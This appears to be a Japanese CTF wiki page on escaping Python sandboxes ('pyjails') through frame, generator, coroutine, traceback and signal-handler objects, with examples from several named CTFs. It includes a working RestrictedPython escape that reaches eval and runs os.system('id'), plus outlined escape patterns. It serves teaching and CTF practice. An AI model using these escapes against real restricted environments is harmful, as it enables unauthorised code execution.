pyjail wiki

Frame and Traceback

Jan 17, 2024

Overview

Pythonのframe/tracebackオブジェクトは、実行コンテキストへのアクセスを提供する。これを利用して、制限された環境から脱出できる。

Frame オブジェクトの基礎

import sys
def get_frame():
return sys._getframe()
frame = get_frame()
print(frame.f_locals) # ローカル変数
print(frame.f_globals) # グローバル変数
print(frame.f_builtins) # builtins
print(frame.f_code) # コードオブジェクト
print(frame.f_back) # 呼び出し元のフレーム

Generator の gi_frame

ジェネレータは gi_frame 属性でフレームにアクセスできる。

def gen():
yield 1
g = gen()
frame = g.gi_frame
print(frame.f_globals)
print(frame.f_builtins)

RestrictedPython 脱出 (UIUCTF 2023)

RestrictedPython はジェネレータのフレームアクセスを制限しない:

(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("id")')

Coroutine の cr_frame

async def coro():
pass
c = coro()
frame = c.cr_frame
print(frame.f_builtins)
c.close() # リソース解放

Traceback オブジェクト

例外からトレースバックを取得:

try:
1/0
except:
import sys
tb = sys.exc_info()[2]
print(tb.tb_frame) # フレーム
print(tb.tb_lineno) # 行番号
print(tb.tb_next) # 次のトレースバック

walrus 演算子との組み合わせ

try:
1/0
except Exception as e:
tb = e.__traceback__
tb.tb_frame.f_builtins['eval']('...')

SECCON 2022 excepython

例外とトレースバックを利用した脱出:

# 例外オブジェクトの __traceback__ からフレームにアクセス
class Evil(Exception):
pass
try:
raise Evil()
except Evil as e:
frame = e.__traceback__.tb_frame
frame.f_globals['__builtins__']['eval']('...')

f_back チェーンの探索

import sys
def inner():
frame = sys._getframe()
while frame:
print(f"Function: {frame.f_code.co_name}")
print(f"Globals keys: {list(frame.f_globals.keys())[:5]}")
frame = frame.f_back
def outer():
inner()
outer()

Frame への書き込み

Python 3.12 以前は f_locals への書き込みが可能:

import sys
import ctypes
def modify_local():
x = 1
frame = sys._getframe()
frame.f_locals['x'] = 999
ctypes.pythonapi.PyFrame_LocalsToFast(ctypes.py_object(frame), ctypes.c_int(0))
print(x) # 999
modify_local()

sys.settrace によるフレームアクセス

import sys
def trace_func(frame, event, arg):
if event == 'call':
print(f"Calling: {frame.f_code.co_name}")
print(f"Builtins available: {'eval' in frame.f_builtins}")
return trace_func
sys.settrace(trace_func)
def target():
pass
target()

ImaginaryCTF 2024 calc

シグナルハンドラ経由でのフレームアクセス:

import signal
def handler(signum, frame):
# frame はシグナル発生時のフレーム
frame.f_globals['__builtins__']['eval']('...')
signal.signal(signal.SIGALRM, handler)
signal.alarm(1)

フレームを返す関数

方法説明
sys._getframe()現在のフレーム
generator.gi_frameジェネレータのフレーム
coroutine.cr_frameコルーチンのフレーム
exception.__traceback__.tb_frame例外のフレーム
signal_handler(signum, frame)シグナルハンドラの引数
sys.settrace(func)トレース関数の引数

Tips

  • sys._getframe() は CPython 専用、PyPy では異なる動作
  • フレームからは f_builtins で直接 builtins にアクセス可能
  • ジェネレータ式 (x for x in []) は簡単にフレームを取得できる
  • Python 3.11+ では一部の最適化によりフレームアクセスが制限される場合がある